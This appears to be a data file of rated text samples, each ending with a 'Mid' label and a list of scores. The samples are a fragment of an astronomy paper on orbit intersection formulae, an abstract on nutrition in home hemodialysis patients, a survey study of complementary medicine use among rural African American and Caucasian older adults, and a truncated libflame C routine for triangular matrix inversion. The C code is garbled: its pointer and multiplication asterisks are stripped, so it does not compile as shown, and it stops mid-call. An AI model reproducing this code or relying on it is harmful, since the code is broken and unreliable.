$$e PR' - \frac{d_\Omega}{a} \leq PR' \cos u + SR' \sin u \leq e PR' + \frac{d_\Omega}{a}, \label{ineq}$$ implying an elementary trigonometric equation that can be solved via arcsines. The final set of computing formulae can be expressed as follows. Let us introduce the vector $${\bm{W}} = {\bm{R}} \times {\bm{R}}', \quad W=\|{\bm{W}}\|=\sin I,$$ which is directed to the ascending node of $\mathcal E'$ assuming reference $\mathcal E$. The angle $I$ is the mutual inclination between the orbits. Then determine the angle $\theta$ from $$\cos\theta = (PW)/W, \quad \sin\theta = (QW)/W.$$ It represents the true anomaly on $\mathcal E$, where that ascending node is located. Basically, $\theta$ is the angle between ${\bm{P}}$ and ${\bm{W}}$, counted positive in the direction of ${\bm{Q}}$. The location on the other orbit $\theta'$ can be determined in a similar way. Explicit formula for the scalar product $PW$ is given in [@KholshVas99lc] via orbital elements, though we prefer to multiply the vectors directly, using the following expression for ${\bm{W}}$: $$\begin{aligned} {\bm{W}} = \{&\cos i \sin i' \cos \Omega' - \sin i \cos i' \cos \Omega, \nonumber\\ &\cos i \sin i' \sin \Omega' - \sin i \cos i' \sin \Omega, \nonumber\\ &\sin i \sin i' \sin(\Omega'-\Omega)\, \}. \nonumber\\\end{aligned}$$ After that let us compute $$\begin{aligned} d_1 &= \frac{p}{1+e\cos\theta} - \frac{p'}{1+e'\cos\theta'}, \nonumber\\ d_2 &= \frac{p}{1-e\cos\theta} - \frac{p'}{1-e'\cos\theta'}, \nonumber\\ d_\Omega &= \min(\|d_1\|,\|d_2\|), \label{ind}\end{aligned}$$ where $p$ and $p'$ are orbital parameters, $p=a(1-e^2)$. Now, the inequalities (\[ineq\]) may be simplified if we decompose the vectors ${\bm{W}}$ and ${\bm{R}}'$ in the basis $\{{\bm{P}}, {\bm{Q}}, {\bm{R}}\}$: $$\begin{aligned} {\bm{W}} &= \{PW,\, QW,\, RW=0\,\}, \nonumber\\ {\bm{R}}' &= \{PR',\, QR',\, RR'=\cos I\,\}.\end{aligned}$$ Writing down the orthogonality condition between ${\bm{W}}$ and ${\bm{R}}'$ and the norm of ${\bm{R}}'$ in these coordinates, we have $$\begin{aligned} WR' &= PW\; PR' + QW\; QR' = 0, \nonumber\\ R'^2 &= 1 \implies PR'^2 + QR'^2 = W^2.\end{aligned}$$ Therefore, we may set $PR' = \mp W\sin\theta$ and $QR' = \pm W\cos\theta$ in (\[ineq\]), and the sign choice is not important here. Finally, let us define the quantity $k\geq 0$ and the angle $\varphi$ from $$\begin{aligned} A^2 = 1 - e^2 \cos^2\theta, \quad k = \frac{d_\Omega}{a W A}, \nonumber\\ \sin\varphi = \frac{\sin\theta}{A}, \quad \cos\varphi = \sqrt{1-e^2}\, \frac{\cos\theta}{A},\end{aligned}$$ and (\[ineq\]) becomes $$e\sin\varphi - k \leq \sin(\varphi-u) \leq e \sin\varphi + k.$$ In general, we have three types of solution for $u$. 1. If $\|e\sin\varphi\| < \|1-k\|$ and $k<1$ then we have two small segments for $u$ near the nodes, defined as $[\varphi-\arcsin(e\sin\varphi+k), \varphi-\arcsin(e\sin\varphi-k)]$ and $[\varphi+\pi+\arcsin(e\sin\varphi-k), \varphi+\pi+\arcsin(e\sin\varphi+k)]$; 2. If $\|e\sin\varphi\| < \|1-k\|$ and $k\geq 1$ then we have the entire circular range $[0,2\pi]$ for $u$. 3. If $\|e\sin\varphi\| \geq \|1-k\|$ then there is just one big segment for $u$ that covers angles roughly from one node to another, defined as either $[\varphi+\arcsin(e\sin\varphi-k), \varphi+\pi-\arcsin(e\sin\varphi-k)]$, if $\sin\varphi>0$, or $[\varphi-\arcsin(e\sin\varphi+k), \varphi+\pi+\arcsin(e\sin\varphi+k)]$, if $\sin\varphi<0$; In practice, the first type of occurence is the most frequent one, so the speed improvement is dramatic. Notice that for $W\to 0$ (coplanar orbits) the angle $\theta$ formally becomes undefined, but this is not important because then $k\to\infty$ and we just obtain the full-circle range $[0,2\pi]$ for $u$. So the degenerate case $W\approx 0$ is not a big numeric issue in practice. [^1]: This is actually an upper limit on that rate, because our algorithm may intentionally count some complex roots with small imaginary part as real ones. This estimate is sensitive to the selected floating-point precision and to subtle details that affect overall numeric accuracy of the algorithm. It may even be possible that all these potential $12$-root occurences contain only $10$ real roots. [^2]: We had one $14$-root occurence using the standard [double]{} precision, but this case appeared to have only $12$ real roots with [long double]{} arithmetic. [^3]: Since $u$ can take only real values, we always have $z\neq 0$ and $w\neq 0$. [^4]: See url ftp://ftp.lowell.edu/pub/elgb/astorb.html.	Mid	[ 0.647058823529411, 35.75, 19.5 ]
Nutritional status of home hemodialysis patients. We studied the nutritional status of 32 patients (23 men), aged 50 (SD14) yr, on home hemodialysis (HHD) for one-138 months. No formal dietary restrictions were imposed. Anthropometric measurements were made using standard techniques, diet assessed by three-day dietetic diary and interview and plasma concentrations of nutrients were measured. Mean caloric intake was 29.4 (SD 10.7) kcal/kg; 24 (75%) patients had lower energy intakes than recommended for normals. Protein, vitamin C and folate intakes were above recommended minimum safe intakes. Intakes were less than recommended for calcium in four (13%) patients, iron in one (3%) and vitamin B12 in two (6%). One-third of both sexes had body mass indices (kg/m2) less than 25th percentile for normals, but none was less than 80% of ideal bodyweight. Arm muscle circumference was less than 10th percentile for normals in six men and three women. Triceps skin fold thickness was less than 10th percentile in four men (17%) and five women (55%). No anthropometric measurements were correlated with energy, protein or fat intake. Biochemical measurements were not useful in predicting protein intake. Neither nutritional intake nor anthropometric measurements were correlated with the duration of HHD. There was little evidence of malnutrition and wasting in this group of well rehabilitated HHD patients.	Mid	[ 0.6062052505966581, 31.75, 20.625 ]
Background ========== An increasing number of people are using complementary and alternative medicine (CAM). According to recent studies, 42.1 % of the American population uses some form of CAM, with 39% of the older population using CAM \[[@B1],[@B2]\]. In 1997, total spending on CAM was estimated at \$32.7 billion dollars, up from \$22.6 billion in 1990, a substantial increase that indicates an escalating portion of the population is seeking CAM \[[@B2]\]. Patients may choose to use CAM as a substitute or in conjunction with conventional medicine for a variety of reasons, including 1) dissatisfaction with health care providers and medical outcomes, 2) side effects of drugs or treatments, 3) high health costs (specifically medications), 4) lack of control in their own health care practices, and 5) impersonal and technological health care \[[@B3]-[@B5]\]. In reviewing the literature, research studies have not reported on CAM use among rural residents, older adults in culturally diverse groups. In rural settings, limited access to medical care often leads to late diagnosis, postponement of treatment, and greater impairments \[[@B6]\]. The older population is a group that has more chronic illnesses, takes longer to recover when sick, and often needs more health care services than their younger cohorts \[[@B7]\]. This may result in CAM use, often influenced by folklore and cultural beliefs. Understanding choices of CAM use is critical to provide optimal care to older, rural patients as certain remedies may be harmful or interfere with conventional medicine. With the increase in the older population and the number of persons who are choosing CAM, there has been a demand for research to examine the feasibility, benefits, clinical usefulness and development of CAM interventions in older adults. A large proportion of older adults are interested in learning more about CAM and the benefits to health \[[@B3]\]. However, there is very little research that describes CAM use in minority older adults. Therefore, the purpose of this study was to compare older African Americans (AA) and Caucasian Americans (CA) over the age of 50 on 1) use of CAM and 2) self-reported overall satisfaction with CAM being used. Rural Health and CAM -------------------- Patients in rural areas experience a variety of unmet needs partly due to limited access to primary care, fewer resources to choose from, lower income, less comprehensive health coverage, ill-equipped or poorly staffed health care agencies, and geographic isolation \[[@B8]\]. Rural health care providers often have difficulty in delivering services that target persons with special health care needs, like older adults \[[@B9]\]. Poverty is more widespread in rural areas and even higher among rural minorities, with 35.2% of rural AA living in poverty compared to 26.9% of urban AA. Private health insurance coverage is more common for residents of urban areas while Medicare spends more per capita on urban beneficiaries (\$5,288) than rural beneficiaries (\$4,375) \[[@B6]\]. All of these factors may contribute to the use of complementary and alternative therapies that may not be widely accepted in conventional medicine. An estimated 29.5% of community dwelling older adults use at least one form of CAM with women more likely than men to use CAM \[[@B10]\]. Older adults and CAM -------------------- By the year 2030, older adults will make up 22% of the total population \[[@B7]\]. Because of a predicted increase in chronic conditions, older adults may be choosing to use CAM more often than previously to help manage their health. There is lack of information regarding specific costs, benefits, risks, or precautions pertinent to the older adult. Few CAM therapies have federal regulations to guide choices made about CAM. The most commonly used CAM by the older adult has been reported as chiropractic medicine, herbal remedies, relaxation techniques, megavitamins and religious or spiritual healing \[[@B11]\]. Several reports describe clinically significant interactions between herbals/supplements and prescription medications \[[@B1],[@B12]\]. There is a lack of studies related to appropriate dosage and mechanisms of CAM practices in older adults \[[@B13]\]. The use of herbal remedies (ginkgo biloba and ginseng), vitamins, music therapy, touch, massage therapy, and neurofeedback have benefit in the older adult with implications for improved cognitive function \[[@B14]\]. The demographic characteristics that predict CAM use are gender (females use more CAM then men) and education (the higher educated use CAM more often) \[[@B5]\]. In a recent study describing members of Shield 65, a Blue Shield Medicare supplement that offers CAM coverage for people over 65, 41% of older adults used some form of CAM, with 80% reporting some improvement in their health conditions. Of the older adults who did use CAM, 58% reported they did not discuss CAM use with their medical doctor or health care practitioner \[[@B5]\]. In a study examining use of CAM in the older adult, more women and fewer African Americans and Hispanics were represented in the sample. These older adults who use CAM cited arthritis, back pain, heart disease, allergies, and diabetes as reasons using CAM \[[@B11]\]. Cultural Diversity and CAM -------------------------- Cultural diversity and the health care practices specific to a culture can shape the system of health care in a country. The assumption that conventional medical practice is the choice for all races is incorrect. CAM health care practices in the United States have broadened due to an influx of cultures, values, and beliefs \[[@B4],[@B15]\]. Exposure of U.S. citizens to other cultures and cultural healing methods, as well as documented effectiveness of CAM used in different cultures, has spawned interest in CAM in this country. There is little research addressing CAM modalities with origins in racial healing practices and folklore. Most of the CAM surveys include middle class, Caucasian, educated subjects, excluding how race may influence CAM use. The inclusion of folk remedies is often ignored or not discussed. The findings of one study on ethnic minority and CAM use showed no differences between ethnicities but recognized the need to consider CAM practices separately to get an accurate picture of ethnic minority use \[[@B16]\]. Race has been reported to affect the choices of CAM \[[@B17]\]. Older women in all cultural groups have expressed more satisfaction with use of CAM than younger women \[[@B10],[@B18],[@B19]\]. It is estimated that 83% of minority patients who use CAM do not report it to their physician \[[@B19]\]. There is a gap in the literature on CAM use by older adults of different racial backgrounds, specifically in rural areas. This survey was undertaken to provide preliminary information for future research on the measurements of outcomes and evidenced based practice in relation to CAM use in older adults of different races. The research questions were: • Is there a difference in CAM use between AA and CA older adults? • Is there a difference in satisfaction of CAM use between AA and CA older adults? • Overall, what CAM modalities are being used by rural older adults? Definition of Terms ------------------- The following terms were operationally defined for the survey: • Complementary and Alternative Medicine (CAM): for the purpose of this study, CAM, as defined by the National Center for Complementary and Alternative Medicine (NCCAM), \"is a group of diverse medical and health care systems, practices, and products that are not presently considered to be part of conventional medicine.\" \[[@B20]\]. • CAM modality use: for the purpose of this study, CAM use was identified in demographic data as a self-report. CAM modality use was presented as a list based on five modalities of NCCAM \[[@B20]\] and the top CAM use reported in the literature. Participants were asked to circle which CAM they used, as many as they used. An open ended option of \"other\" was provided for CAM not listed (see Table [2](#T2){ref-type="table"} for list). Participants could circle the use of herbs or vitamins, but did not specify which herbs or vitamins were being used. ###### CAM use by AA and CA Rural Older adults CAM Used African Americans (n = 40) Caucasian Americans (n = 143) ----------------------- ---------------------------- ------------------------------- Acupuncture 0 1 (.7%) Aroma Therapy 1 (2.5%) 3 (2.1%) Art Therapy 1 (2.5%) 1 (.7%) Biofeedback 2 (5%) 0 Chelation 0 1 (.7%) Chiropractic Medicine 3 (7.5%) 27 (19%) Chondroiton 0 13 (9.2%) Exercise 23 (57.5%) 94 (66.2%) \Glucosamine 0 28 (19.7%) Herbs 10 (25%) 33 (23.2%) Hypnosis 0 1 (.7%) Journal Writing 2 (5%) 12 (8.5%) Magnetic Therapy 2 (5%) 9 (6.3%) Massage Therapy 4 (10%) 16 (11.3%) Meditation 12 (30%) 32 (22.5%) Melatonin 0 7 (4.9%) Metal Therapy 0 2 (1.4%) Music Therapy 6 (15%) 15 (10.6%) Naturopathic Medicine 0 4 (2.8%) Prayer 36 (90%) 119 (83.8%) Qi 1 (2.5%) 1 (.7%) Reiki 0 1 (.7%) Taichi 0 2 (1.4%) Therapeutic Touch 2 (5%) 1 (.7%) Vitamins 29 (72.5) 122 (85.9%) Visual Imagery 2 (5%) 4 (2.8%) Yoga 1 (2.5%) 4 (2.8%) Other 0 9 (6.3%) \Significant difference by race at p = .05 • Satisfaction with CAM: for the purpose of this study, an overall level of satisfaction with CAM modality (or modalities) being used was reported as satisfaction with CAM. There were no measurements for satisfaction of each specific CAM the older adults used. Methods ======= Sample and Setting ------------------ The survey design was descriptive, comparative, and cross-sectional. A convenience sample of rural AA and CA older adults (over 50 years old) was recruited from Gulfport, Biloxi, Laurel, Hattiesburg, Natchez, Jackson, and Meridian during 10 community service organization meetings in the state of Mississippi, including American Association of Retired Persons, the retired employees of the Southern Pine Electric Power Association known as the Golden Pine Cones Club, and the Retired Seniors Volunteer Group from the local community hospital. Limitations of the study included the convenience sampling of older adults through these support groups and those who attended, sampling bias, subject effect, and self-report. The advertised topic of the meetings might attract certain people who use CAM than others. The Institutional Review Board (IRB) approval for human subjects protection was obtained at the University of Southern Mississippi, Hattiesburg, MS. Instruments ----------- Demographic data included age, gender, race, marital status, socioeconomic status (SES), education, and out of pocket expenses spent on CAM. CAM use in the older adult\'s health care practices was measured using the five modalities identified by the National Center of Complementary and Alternative Medicine (alternative medical systems, mind body interventions, biologically based therapies, manipulative/body based methods, and energy therapies). Based on the review of the literature and the most often used CAM, a list was provided for the participants to circle the CAM used. An option was given as \"other\" to assess any CAM use not listed. An overall rating of satisfaction with the CAM used was measured with a Likert scale (1--11). The higher the score, the more satisfied with the CAM. The survey was developed for the study, a limitation of the study. Procedure --------- Community agencies for older adults were contacted throughout the state to ask for participation in the project. At the beginning of the support group meetings, a total of 378 participants were asked to indicate whether or not they had used CAM. This was done by asking if the participants were currently using anything for their own health that was not prescribed by their family physician. Participants who indicated that they had used CAM were then invited to participate in the survey. An educational program about CAM use was presented after the questionnaires were answered entitled, \"What Everyone Should Know About CAM\". The program was presented after the collection of data. Topics that were discussed included a brief overview of the following topics: 1) definition of CAM, 2) history of CAM, 3) choosing to use CAM, 4) safety and effectiveness of CAM, 5) contraindications in CAM, 6) choosing a practitioner in CAM, 7) cost, and 8) consulting a health care provider. Information was presented in an unbiased format (neither supportive or opposed to CAM) with the goal to provide general information on CAM to the older adults. Participation was strictly voluntary and written consent was obtained. Confidentiality was assured by assigning identification numbers matching the consent form with the questionnaire. If the older adult agreed to be in the study, the survey was filled out at the beginning of the meeting. There was no penalty if anyone decided not to participate in the research project. All were invited to stay for the presentation, whether they did or did not participate in the study. After the older adults had answered the questionnaire, the educational presentation was started. Results ======= Data was collected on the older adults who chose to participate and agreed to answer the questionnaire. Of the 378 support group attendees, 183 indicated that they had used CAM. All of these 183 volunteered to participate in the survey and returned completed questionnaires. The sample consisted of 40 AA and 143 CA older adults who volunteered to be participants. Demographic data were collected on the older adults\' who agreed to complete the questionnaire on age, gender, race, marital status, SES, education, and out of pocket expenses spent on CAM (Table [1](#T1){ref-type="table"}). Significant overall differences between the AA and CA were found on SES (P = .008, F = 3.049, df = 6) and marital status (p = .042, F = 4.201, df = 1). In the SES ranking, only 13 CA (14%) reported an income of \$40,000 or greater with 13 CA older adults (11%) compared to only one AA (3%). A higher percentage of older AA adults were single (62.5%) compared to CA (57%). ###### Demographics of older adults who reported use of CAM Demographic Variable Intervals Overall AA n = 40 CA n = 143 ------------------------------------- ---------------------- ------------ ------------ ------------ \Age 50--59 7 (3.8%) 0 7 (5%) 60--79 52 (28%) 19 (47.5%) 33 (23%) 70--79 75 (40%) 19 (47.5%) 55 (38%) 80 \> 52 (28%) 2 (5%) 48 (34%) Gender Male 45 (24%) 9 (23%) 33 (23%) Female 139 (76%) 30 (77%) 109 (77%) Marital Status Married 78 (42%) 15 (37.5%) 61 (43%) Single 107 (58%) 25 (62.5%) 81 (57%) Socioeconomic Status (SES) \$0 -- \$19,999 95 (51.1%) 28 (72%) 64 (49%) \$20 -- \$39,999 64 (34.4%) 10 (25%) 54 (41%) \$40 -- \$59,999 8 (4.4%) 0 8 (6%) \$60,000 and \> 6 (3.2%) 1 (3%) 5 (4%) \Education \< 8^th^grade 16 (8.7%) 8 (21%) 7 (5%) 9 -- 12 grade 106 (57.6%) 25 (64%) 79 (55.5%) College 57 (30.6%) 5 (13%) 52 (36.5%) Graduate School 5 (2.7%) 1 (2%) 4 (3%) Out of pocket expenses spent on CAM Under \$100.00 84 (48.8%) 22 (55%) 60 (47%) \$101.00 -- \$500.00 56 (32.6%) 7 (17.5%) 48 (37%) \$501.00 -- \$1,000 17 (9.9%) 5 (12.5%) 12 (9%) \$1001.00 -- \$1500 7 (4.1%) 3 (7.5%) 4 (3%) \$1501.00 -- \$2000 5 (2.9%) 2 (5%) 3 (2.5%) \$2000 and more 3 (1.7%) 1 (2.5%) 2 (1.5%) \Significant difference by race at p = .05 To answer Research Question 1 (Is there a difference in CAM use between AA and CA older adults?), participants were asked to circle the CAM they used on a list provided. The mean number of CAM used by the participants who answered the questionnaire was 3.8 (SD = 2.14). The range of number of CAM used by each participant was 1--12. Overall, CA used more CAM products than AA with CA using an average of 4 CAM products and AA using 3 CAM products per person. AA did not use glucosamine as often as CA (p =.002). CAM use between AA and CA is seen in Table [2](#T2){ref-type="table"}. Chi square analysis was calculated on race and the demographic variables on CAM use, with significant findings for age (p = .003) and education (p \< .001). AA in the group were older and less educated than CA. CAM use was more prevalent in the 50--60 year old age group for the CA (n = 7) than for the AA (n = 0). A significant difference was seen with education with 40% of CA (n = 56) having high school education and higher compared to only 15% (n = 6) for AA. The actual CAM use of those who did not respond could modify the estimate of CAM use among the sample attending the workshops. To answer Research Question 2 (Is there a difference in satisfaction of CAM use between AA and CA older adults?), participants were asked to rate their satisfaction on a Likert scale of 1--11, 11 being the most satisfied with CAM. Using t-test analysis, no differences existed between satisfaction with CAM use. AA mean satisfaction was 8.34 (SD = 2.25) and CA mean satisfaction was 8.32 (SD = 2.25). To compare the AA and CA rural older adults, bivariate correlations were calculated by pairs using Pearson\'s product moment correlations with r2 at .08 and .16 for AA and CA, respectively. No correlations existed between number of CAM used and satisfaction with CAM. To answer Research Question 3 (Overall, what CAM modalities are being used by rural older adults?), number of CAM used was calculated. The most commonly used CAM reported were prayer (n = 155), vitamins (n = 151), exercise (n = 117), meditation (n = 44), herbs (n = 43), chiropractic medicine (n = 30), glucosamine (n = 28), and music therapy (n = 21). Overall 378 older adults were invited to answer the questionnaire for the research project. It is not certain if the 195 persons who did not complete the questionnaire (51%) who attended the support group meetings did or did not use CAM. Demographic data and information related to CAM use is not known on those who chose not to answer the questionnaire. In summary, the study finds that rural older adults who used CAM reported satisfaction with use. Differences in CAM use was identified by age and education. CA use more CAM per person than AA with significant findings in the use of glucosamine by CA. Discussion ========== This study is a survey, therefore generalizability of findings should be considered. Differences between CA and AA were found in age and education. AA using CAM were older than the CA. This may be due to the generation of older adults who had to rely more on folklore practices in their lives from the early 1900\'s, when health care access was not available to rural residents or minorities. Very few of these AA were educated past high school, while a larger number of CA were educated at the college level and higher. The AA may have had difficulty in comprehending the questions and may have been less willing to participate in research. Race may also have played a factor in the low response from AA due to mistrust of research activities the AA culture has experienced. The top five uses of CAM in both AA and CA were prayer, vitamins, exercise, meditation, and herbs. The most common uses of CAM in previous studies identified were chiropractic medicine, herbal remedies, relaxation techniques, megavitamins and religious or spiritual healing \[[@B11]\]. Since Mississippi is considered the \"Bible Belt\" of the South, the commitment to spirituality may have contributed to the use of prayer as the highest CAM used in older adults. Prayer may also be used more frequently in the elderly who are facing issues related to chronic health conditions, socio-economic status, sociocultural limitations, and end of life decisions. It should be noted that the differences found in the use of vitamins (.06) and chiropractic medicine (.08) were near significance at the .05 level by race; perhaps, with a larger sample size, significant difference may have been obtained. These findings may be due to the lack of insurance that poverty stricken minority older adults face in rural areas like Mississippi. Chiropractic services are often covered by health insurance in this country with a higher likelihood for middle class citizens to be covered by such insurance. There was no difference in the satisfaction of the CAM used by CA or AA. Both groups were satisfied with the CAM being used. All of the older adults who answered this questionnaire lived in southern Mississippi, considered to be 100% rural. Mississippi has a high poverty rate with 19.9% of the population living below poverty, compared to 12.4% nationwide \[[@B21]\]. Rural older adults may feel the need to use more CAM and folklore practices than conventional medications because of the perceived reliability of these interventions based on folklore or family traditions and the availability of these practices. Of all the CAM, exercise had the highest percentage of usage, excluding nutritional supplements. Being in a rural area, many of the older adults spent their lives doing physical labor, working on farms, and doing blue-collar jobs. This may predispose these older adults to include some form of exercise in their daily lives. Of the 378 older adults who were asked if they used CAM, 183 (49%) reported CAM use and answered the survey. This number may be an underestimation of the population, as there may have been older adults who used CAM who did not want to participate in the study. However, the number correlates with previously reported results of 41% to 75% of older adults using some form of CAM \[[@B5]\]. The majority of the participants were female in a low SES bracket and with no more than a high school education. Many of the participants used a variety of CAM products with an average CAM use of 3.8 interventions per participant. One hundred and fifty five (85%) participants used prayer, with 151 (83%) using vitamins, and 117 (64%) using exercise as CAM interventions. The workshop title may have attracted a certain population more than others. It should also be noted that a number of persons who chose not to participate in the study may use CAM. Fewer AA attended the community programs than CA. The African American population represents 36.3% of the Mississippi residents, a high percentage compared to the national average of12.3% \[[@B21]\]. AA may avoid these meetings due to feelings of racial discrimination still present between AA and CA in the \"deep South\". Community churches may be better sources of recruitment for AA. Despite the fact that almost half of the group who attended the meetings used CAM, only a small percentage of money was being spent by the older adults for CAM. Forty five per cent of the participants reported spending less than \$100/year on CAM. This may be due to the limited income available to spend on CAM (51.1% of older adults in this study made less than \$19,999/year). Insurance often does not cover CAM so CAM may not be considered due to cost. There may be limited availability of CAM in rural areas indicating that rural residents may have to travel to receive CAM, adding an extra burden of expense. Conclusions =========== Health care providers should be aware of CAM use in older adults, specifically those who live in rural areas who may be familiar with folklore and other alternative interventions in their daily health care practices. Patients in poverty may not have the benefits of expensive CAM interventions, including those reimbursed by health care insurance as many of rural older adults are either uninsured or have limited reimbursement policies through state and government agencies. Health care providers must recognize that CAM may be used very differently among a variety of racial backgrounds. Recommendations for future research may include: • use of herbs and specific concerns related to aging and metabolism including absorption, distribution, metabolism, and excretion that can affect the interactions of medications among AA and CA elders • pharmacological studies specifically for older adults to determine potential interactive effects of CAM between AA and CA with standard treatment medications, and • evaluation of the safety and efficacy of CAM practices in AA and CA older adults, specifically herbs and vitamins. In summary, health care providers must be aware of different uses of CAM by race. Older adults, both AA and CA, may have specific concerns because of gerontological issues that may increase susceptibility to CAM interventions. The responsibility of the health care provider regarding CAM use, side effects, and benefits must be acknowledged. Differences in CAM use by race must also be considered when advising patients. Competing Interests =================== None declared. Authors\' contributions ======================= NC was the P.I. in this study. She was responsible for designing and coordinating the study including analyzing data, submitting it for publication, as well as presenting findings at international conference. TA participated in data collection and read and approved of the final manuscript. BC participated in development of methodology, data collection, and participated in the coordination of the study. She assisted in standardizing the presentation of materials for all the groups as well as developing the program presentation. She edited and approved of the final manuscript. JF participated in development of methodology, data collection, and participated in the coordination of the study. She assisted in developing the CAM presentation. All authors read and approved of the final manuscript. Pre-publication history ======================= The pre-publication history for this paper can be accessed here: <http://www.biomedcentral.com/1472-6882/3/8/prepub> Acknowledgements ================ This study was funded by the University of Southern Mississippi Research Council and Sigma Theta Tau International Honorary Nursing Society, Gamma Lambda Chapter, Hattiesburg, MS. \Partial support was from grant award T32-AT-00052 CAM Research Training Program funded by the National Center for Complementary and Alternative Medicine, National Institutes of Health.	Mid	[ 0.620408163265306, 38, 23.25 ]
/* Copyright (C) 2014, The University of Texas at Austin This file is part of libflame and is available under the 3-Clause BSD license, which can be found in the LICENSE file at the top-level directory, or at http://opensource.org/licenses/BSD-3-Clause / #include "FLAME.h" #ifdef FLA_ENABLE_NON_CRITICAL_CODE FLA_Error FLA_Trinv_ln_opt_var4( FLA_Obj A ) { FLA_Datatype datatype; int mn_A; int rs_A, cs_A; datatype = FLA_Obj_datatype( A ); mn_A = FLA_Obj_length( A ); rs_A = FLA_Obj_row_stride( A ); cs_A = FLA_Obj_col_stride( A ); switch ( datatype ) { case FLA_FLOAT: { float buff_A = FLA_FLOAT_PTR( A ); FLA_Trinv_ln_ops_var4( mn_A, buff_A, rs_A, cs_A ); break; } case FLA_DOUBLE: { double* buff_A = FLA_DOUBLE_PTR( A ); FLA_Trinv_ln_opd_var4( mn_A, buff_A, rs_A, cs_A ); break; } case FLA_COMPLEX: { scomplex* buff_A = FLA_COMPLEX_PTR( A ); FLA_Trinv_ln_opc_var4( mn_A, buff_A, rs_A, cs_A ); break; } case FLA_DOUBLE_COMPLEX: { dcomplex* buff_A = FLA_DOUBLE_COMPLEX_PTR( A ); FLA_Trinv_ln_opz_var4( mn_A, buff_A, rs_A, cs_A ); break; } } return FLA_SUCCESS; } FLA_Error FLA_Trinv_ln_ops_var4( int mn_A, float* buff_A, int rs_A, int cs_A ) { float* buff_m1 = FLA_FLOAT_PTR( FLA_MINUS_ONE ); int i; for ( i = 0; i < mn_A; ++i ) { float* A00 = buff_A + (0 )cs_A + (0 )rs_A; float* a10t = buff_A + (0 )cs_A + (i )rs_A; float* A20 = buff_A + (0 )cs_A + (i+1)rs_A; float* alpha11 = buff_A + (i )cs_A + (i )rs_A; float* a21 = buff_A + (i )cs_A + (i+1)rs_A; float* A22 = buff_A + (i+1)cs_A + (i+1)rs_A; int mn_ahead = mn_A - i - 1; int mn_behind = i; /------------------------------------------------------------/ // FLA_Scal_external( FLA_MINUS_ONE, a21 ); // FLA_Trsv_external( FLA_LOWER_TRIANGULAR, FLA_NO_TRANSPOSE, FLA_NONUNIT_DIAG, A22, a21 ); bl1_sscalv( BLIS1_NO_CONJUGATE, mn_ahead, buff_m1, a21, rs_A ); bl1_strsv( BLIS1_LOWER_TRIANGULAR, BLIS1_NO_TRANSPOSE, BLIS1_NONUNIT_DIAG, mn_ahead, A22, rs_A, cs_A, a21, rs_A ); // FLA_Ger_external( FLA_MINUS_ONE, a21, a10t, A20 ); bl1_sger( BLIS1_NO_CONJUGATE, BLIS1_NO_CONJUGATE, mn_ahead, mn_behind, buff_m1, a21, rs_A, a10t, cs_A, A20, rs_A, cs_A ); // FLA_Trmv_external( FLA_LOWER_TRIANGULAR, FLA_TRANSPOSE, FLA_NONUNIT_DIAG, A00, a10t ); bl1_strmv( BLIS1_LOWER_TRIANGULAR, BLIS1_TRANSPOSE, BLIS1_NONUNIT_DIAG, mn_behind, A00, rs_A, cs_A, a10t, cs_A ); // FLA_Invert( FLA_NO_CONJUGATE, alpha11 ); bl1_sinverts( BLIS1_NO_CONJUGATE, alpha11 ); /------------------------------------------------------------/ } return FLA_SUCCESS; } FLA_Error FLA_Trinv_ln_opd_var4( int mn_A, double* buff_A, int rs_A, int cs_A ) { double* buff_m1 = FLA_DOUBLE_PTR( FLA_MINUS_ONE ); int i; for ( i = 0; i < mn_A; ++i ) { double* A00 = buff_A + (0 )cs_A + (0 )rs_A; double* a10t = buff_A + (0 )cs_A + (i )rs_A; double* A20 = buff_A + (0 )cs_A + (i+1)rs_A; double* alpha11 = buff_A + (i )cs_A + (i )rs_A; double* a21 = buff_A + (i )cs_A + (i+1)rs_A; double* A22 = buff_A + (i+1)cs_A + (i+1)rs_A; int mn_ahead = mn_A - i - 1; int mn_behind = i; /------------------------------------------------------------/ // FLA_Scal_external( FLA_MINUS_ONE, a21 ); // FLA_Trsv_external( FLA_LOWER_TRIANGULAR, FLA_NO_TRANSPOSE, FLA_NONUNIT_DIAG, A22, a21 ); bl1_dscalv( BLIS1_NO_CONJUGATE, mn_ahead, buff_m1, a21, rs_A ); bl1_dtrsv( BLIS1_LOWER_TRIANGULAR, BLIS1_NO_TRANSPOSE, BLIS1_NONUNIT_DIAG, mn_ahead, A22, rs_A, cs_A, a21, rs_A ); // FLA_Ger_external( FLA_MINUS_ONE, a21, a10t, A20 ); bl1_dger( BLIS1_NO_CONJUGATE, BLIS1_NO_CONJUGATE, mn_ahead, mn_behind, buff_m1, a21, rs_A, a10t, cs_A, A20, rs_A, cs_A ); // FLA_Trmv_external( FLA_LOWER_TRIANGULAR, FLA_TRANSPOSE, FLA_NONUNIT_DIAG, A00, a10t ); bl1_dtrmv( BLIS1_LOWER_TRIANGULAR, BLIS1_TRANSPOSE, BLIS1_NONUNIT_DIAG, mn_behind, A00, rs_A, cs_A, a10t, cs_A ); // FLA_Invert( FLA_NO_CONJUGATE, alpha11 ); bl1_dinverts( BLIS1_NO_CONJUGATE, alpha11 ); /------------------------------------------------------------/ } return FLA_SUCCESS; } FLA_Error FLA_Trinv_ln_opc_var4( int mn_A, scomplex* buff_A, int rs_A, int cs_A ) { scomplex* buff_m1 = FLA_COMPLEX_PTR( FLA_MINUS_ONE ); int i; for ( i = 0; i < mn_A; ++i ) { scomplex* A00 = buff_A + (0 )cs_A + (0 )rs_A; scomplex* a10t = buff_A + (0 )cs_A + (i )rs_A; scomplex* A20 = buff_A + (0 )cs_A + (i+1)rs_A; scomplex* alpha11 = buff_A + (i )cs_A + (i )rs_A; scomplex* a21 = buff_A + (i )cs_A + (i+1)rs_A; scomplex* A22 = buff_A + (i+1)cs_A + (i+1)rs_A; int mn_ahead = mn_A - i - 1; int mn_behind = i; /------------------------------------------------------------/ // FLA_Scal_external( FLA_MINUS_ONE, a21 ); // FLA_Trsv_external( FLA_LOWER_TRIANGULAR, FLA_NO_TRANSPOSE, FLA_NONUNIT_DIAG, A22, a21 ); bl1_cscalv( BLIS1_NO_CONJUGATE, mn_ahead, buff_m1, a21, rs_A ); bl1_ctrsv( BLIS1_LOWER_TRIANGULAR, BLIS1_NO_TRANSPOSE, BLIS1_NONUNIT_DIAG, mn_ahead, A22, rs_A, cs_A, a21, rs_A ); // FLA_Ger_external( FLA_MINUS_ONE, a21, a10t, A20 ); bl1_cger( BLIS1_NO_CONJUGATE, BLIS1_NO_CONJUGATE, mn_ahead, mn_behind, buff_m1, a21, rs_A, 